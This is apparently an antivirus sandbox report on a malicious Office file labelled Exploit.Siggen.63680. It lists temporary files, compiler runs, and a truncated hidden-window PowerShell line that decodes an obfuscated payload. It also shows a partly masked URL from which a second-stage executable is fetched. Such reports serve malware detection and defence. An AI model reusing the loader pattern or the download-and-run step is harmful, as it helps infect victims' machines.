Exploit.Siggen.63680

Technical Information

Malicious functions

Executes the following (exploit)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function ve6f199 {param($s39df)$td539f6='t93257e';$j4f49e='';for ($i=0; $i -lt $s39df.length;$i+=2){$u72b561=[convert]::ToByte($s39df.Substring($i,2),16);$j4f49e+=[char]($...

Modifies file system

Creates the following files

%TEMP%\vzg0vulo.0.cs
%TEMP%\y8mqfa5k.dll
%TEMP%\resffdf.tmp
%TEMP%\cscffce.tmp
%TEMP%\y8mqfa5k.out
%TEMP%\y8mqfa5k.cmdline
%TEMP%\y8mqfa5k.0.cs
%TEMP%\evfw-x8-.dll
%TEMP%\rese13b.tmp
%TEMP%\csce12a.tmp
%TEMP%\evfw-x8-.out
%TEMP%\evfw-x8-.cmdline
%TEMP%\evfw-x8-.0.cs
%TEMP%\udeoardx.dll
%TEMP%\rescfc6.tmp
%TEMP%\csccfa6.tmp
%TEMP%\udeoardx.out
%TEMP%\udeoardx.cmdline
%TEMP%\udeoardx.0.cs
%TEMP%\szcvjidx.dll
%TEMP%\zastp6b1.0.cs
%TEMP%\zastp6b1.out
%TEMP%\g9pyu1dz.dll
%TEMP%\cscffb.tmp
%TEMP%\res6139.tmp
%TEMP%\csc6128.tmp
%TEMP%\g9pyu1dz.out
%TEMP%\g9pyu1dz.cmdline
%TEMP%\g9pyu1dz.0.cs
%TEMP%\bpx7xpad.dll
%TEMP%\res444a.tmp
%TEMP%\csc443a.tmp
%TEMP%\bpx7xpad.out
%TEMP%\bpx7xpad.cmdline
%TEMP%\bpx7xpad.0.cs
%TEMP%\ik2ftehf.dll
%TEMP%\res2efd.tmp
%TEMP%\csc2edd.tmp
%TEMP%\ik2ftehf.out
%TEMP%\ik2ftehf.cmdline
%TEMP%\ik2ftehf.0.cs
%TEMP%\zastp6b1.dll
%TEMP%\res100b.tmp
%TEMP%\resb5b6.tmp
%TEMP%\zastp6b1.cmdline
%TEMP%\cscb5a6.tmp
%TEMP%\csc41ae.tmp
%TEMP%\qhvm9mx2.cmdline
%TEMP%\qhvm9mx2.0.cs
%TEMP%\wkcsxtuz.dll
%TEMP%\res3461.tmp
%TEMP%\csc3441.tmp
%TEMP%\ricn09iy.dll
%TEMP%\res2acc.tmp
%TEMP%\vzg0vulo.dll
%TEMP%\res2aad.tmp
%TEMP%\csc2acb.tmp
%TEMP%\csc2a9c.tmp
%TEMP%\wkcsxtuz.out
%TEMP%\wkcsxtuz.cmdline
%TEMP%\wkcsxtuz.0.cs
%TEMP%\ricn09iy.out
%TEMP%\ricn09iy.cmdline
%TEMP%\ricn09iy.0.cs
%TEMP%\vzg0vulo.out
%TEMP%\vzg0vulo.cmdline
%TEMP%\qhvm9mx2.out
%TEMP%\res41bf.tmp
%TEMP%\szcvjidx.cmdline
%TEMP%\qhvm9mx2.dll
%TEMP%\szcvjidx.0.cs
%TEMP%\j7zrzx4g.dll
%TEMP%\resa50d.tmp
%TEMP%\csca4ec.tmp
%TEMP%\j7zrzx4g.out
%TEMP%\j7zrzx4g.cmdline
%TEMP%\j7zrzx4g.0.cs
%TEMP%\ckmda7ka.dll
%TEMP%\res7d9f.tmp
%TEMP%\csc7d8e.tmp
%TEMP%\ckmda7ka.out
%TEMP%\ckmda7ka.cmdline
%TEMP%\ckmda7ka.0.cs
%TEMP%\genbckbu.dll
%TEMP%\res5084.tmp
%TEMP%\csc5064.tmp
%TEMP%\genbckbu.out
%TEMP%\genbckbu.cmdline
%TEMP%\genbckbu.0.cs
%TEMP%\szcvjidx.out
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{acc53a8b-45fe-490d-8b00-c01675d64f64}.tmp

Deletes the following files

%TEMP%\res2aad.tmp
%TEMP%\y8mqfa5k.dll
%TEMP%\y8mqfa5k.pdb
%TEMP%\y8mqfa5k.0.cs
%TEMP%\y8mqfa5k.cmdline
%TEMP%\cscffce.tmp
%TEMP%\resffdf.tmp
%TEMP%\evfw-x8-.pdb
%TEMP%\evfw-x8-.cmdline
%TEMP%\evfw-x8-.out
%TEMP%\evfw-x8-.0.cs
%TEMP%\y8mqfa5k.out
%TEMP%\evfw-x8-.dll
%TEMP%\rese13b.tmp
%TEMP%\udeoardx.out
%TEMP%\udeoardx.dll
%TEMP%\udeoardx.pdb
%TEMP%\udeoardx.0.cs
%TEMP%\udeoardx.cmdline
%TEMP%\csccfa6.tmp
%TEMP%\rescfc6.tmp
%TEMP%\szcvjidx.out
%TEMP%\szcvjidx.dll
%TEMP%\csce12a.tmp
%TEMP%\res100b.tmp
%TEMP%\cscffb.tmp
%TEMP%\zastp6b1.dll
%TEMP%\g9pyu1dz.0.cs
%TEMP%\g9pyu1dz.cmdline
%TEMP%\g9pyu1dz.pdb
%TEMP%\csc6128.tmp
%TEMP%\res6139.tmp
%TEMP%\bpx7xpad.out
%TEMP%\bpx7xpad.cmdline
%TEMP%\bpx7xpad.pdb
%TEMP%\bpx7xpad.0.cs
%TEMP%\bpx7xpad.dll
%TEMP%\csc443a.tmp
%TEMP%\res444a.tmp
%TEMP%\ik2ftehf.pdb
%TEMP%\ik2ftehf.out
%TEMP%\ik2ftehf.cmdline
%TEMP%\ik2ftehf.dll
%TEMP%\ik2ftehf.0.cs
%TEMP%\csc2edd.tmp
%TEMP%\res2efd.tmp
%TEMP%\zastp6b1.pdb
%TEMP%\zastp6b1.0.cs
%TEMP%\zastp6b1.out
%TEMP%\zastp6b1.cmdline
%TEMP%\szcvjidx.0.cs
%TEMP%\g9pyu1dz.out
%TEMP%\szcvjidx.cmdline
%TEMP%\cscb5a6.tmp
%TEMP%\csc41ae.tmp
%TEMP%\res41bf.tmp
%TEMP%\wkcsxtuz.dll
%TEMP%\wkcsxtuz.0.cs
%TEMP%\wkcsxtuz.pdb
%TEMP%\wkcsxtuz.out
%TEMP%\wkcsxtuz.cmdline
%TEMP%\csc3441.tmp
%TEMP%\res3461.tmp
%TEMP%\ricn09iy.dll
%TEMP%\qhvm9mx2.out
%TEMP%\ricn09iy.pdb
%TEMP%\ricn09iy.out
%TEMP%\ricn09iy.0.cs
%TEMP%\csc2acb.tmp
%TEMP%\res2acc.tmp
%TEMP%\vzg0vulo.pdb
%TEMP%\vzg0vulo.dll
%TEMP%\vzg0vulo.out
%TEMP%\vzg0vulo.cmdline
%TEMP%\vzg0vulo.0.cs
%TEMP%\csc2a9c.tmp
%TEMP%\ricn09iy.cmdline
%TEMP%\qhvm9mx2.dll
%TEMP%\qhvm9mx2.0.cs
%TEMP%\qhvm9mx2.pdb
%TEMP%\resb5b6.tmp
%TEMP%\j7zrzx4g.0.cs
%TEMP%\j7zrzx4g.dll
%TEMP%\j7zrzx4g.cmdline
%TEMP%\j7zrzx4g.out
%TEMP%\j7zrzx4g.pdb
%TEMP%\csca4ec.tmp
%TEMP%\resa50d.tmp
%TEMP%\ckmda7ka.0.cs
%TEMP%\ckmda7ka.cmdline
%TEMP%\ckmda7ka.pdb
%TEMP%\ckmda7ka.dll
%TEMP%\ckmda7ka.out
%TEMP%\csc7d8e.tmp
%TEMP%\res7d9f.tmp
%TEMP%\genbckbu.out
%TEMP%\genbckbu.dll
%TEMP%\genbckbu.0.cs
%TEMP%\genbckbu.pdb
%TEMP%\genbckbu.cmdline
%TEMP%\csc5064.tmp
%TEMP%\res5084.tmp
%TEMP%\qhvm9mx2.cmdline
%TEMP%\szcvjidx.pdb
%TEMP%\g9pyu1dz.dll

Network activity

TCP

HTTP GET requests

http://yo#######ta-6389.chillout.jp/TT.exe

UDP

DNS ASK yo#######ta-6389.chillout.jp

Miscellaneous

Creates and executes the following

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function ve6f199 {param($s39df)$td539f6='t93257e';$j4f49e='';for ($i=0; $i -lt $s39df.length;$i+=2){$u72b561=[convert]::ToByte($s39df.Substring($i,2),16);$j4f49e+=[char]($...' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES444A.tmp" "%TEMP%\CSC443A.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bpx7xpad.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2EFD.tmp" "%TEMP%\CSC2EDD.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ik2ftehf.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES100B.tmp" "%TEMP%\CSCFFB.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zastp6b1.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFFDF.tmp" "%TEMP%\CSCFFCE.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\y8mqfa5k.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE13B.tmp" "%TEMP%\CSCE12A.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\evfw-x8-.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCFC6.tmp" "%TEMP%\CSCCFA6.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\udeoardx.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB5B6.tmp" "%TEMP%\CSCB5A6.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g9pyu1dz.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\szcvjidx.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\j7zrzx4g.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7D9F.tmp" "%TEMP%\CSC7D8E.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ckmda7ka.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5084.tmp" "%TEMP%\CSC5064.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\genbckbu.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES41BF.tmp" "%TEMP%\CSC41AE.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qhvm9mx2.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3461.tmp" "%TEMP%\CSC3441.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2ACC.tmp" "%TEMP%\CSC2ACB.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2AAD.tmp" "%TEMP%\CSC2A9C.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wkcsxtuz.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ricn09iy.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vzg0vulo.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA50D.tmp" "%TEMP%\CSCA4EC.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6139.tmp" "%TEMP%\CSC6128.tmp"' (with hidden window)

Executes the following

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g9pyu1dz.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES444A.tmp" "%TEMP%\CSC443A.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bpx7xpad.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2EFD.tmp" "%TEMP%\CSC2EDD.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ik2ftehf.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES100B.tmp" "%TEMP%\CSCFFB.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zastp6b1.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFFDF.tmp" "%TEMP%\CSCFFCE.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\y8mqfa5k.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE13B.tmp" "%TEMP%\CSCE12A.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\evfw-x8-.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCFC6.tmp" "%TEMP%\CSCCFA6.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\udeoardx.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB5B6.tmp" "%TEMP%\CSCB5A6.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\szcvjidx.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA50D.tmp" "%TEMP%\CSCA4EC.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\j7zrzx4g.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7D9F.tmp" "%TEMP%\CSC7D8E.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ckmda7ka.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5084.tmp" "%TEMP%\CSC5064.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\genbckbu.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES41BF.tmp" "%TEMP%\CSC41AE.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qhvm9mx2.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3461.tmp" "%TEMP%\CSC3441.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2ACC.tmp" "%TEMP%\CSC2ACB.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2AAD.tmp" "%TEMP%\CSC2A9C.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wkcsxtuz.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ricn09iy.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vzg0vulo.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6139.tmp" "%TEMP%\CSC6128.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial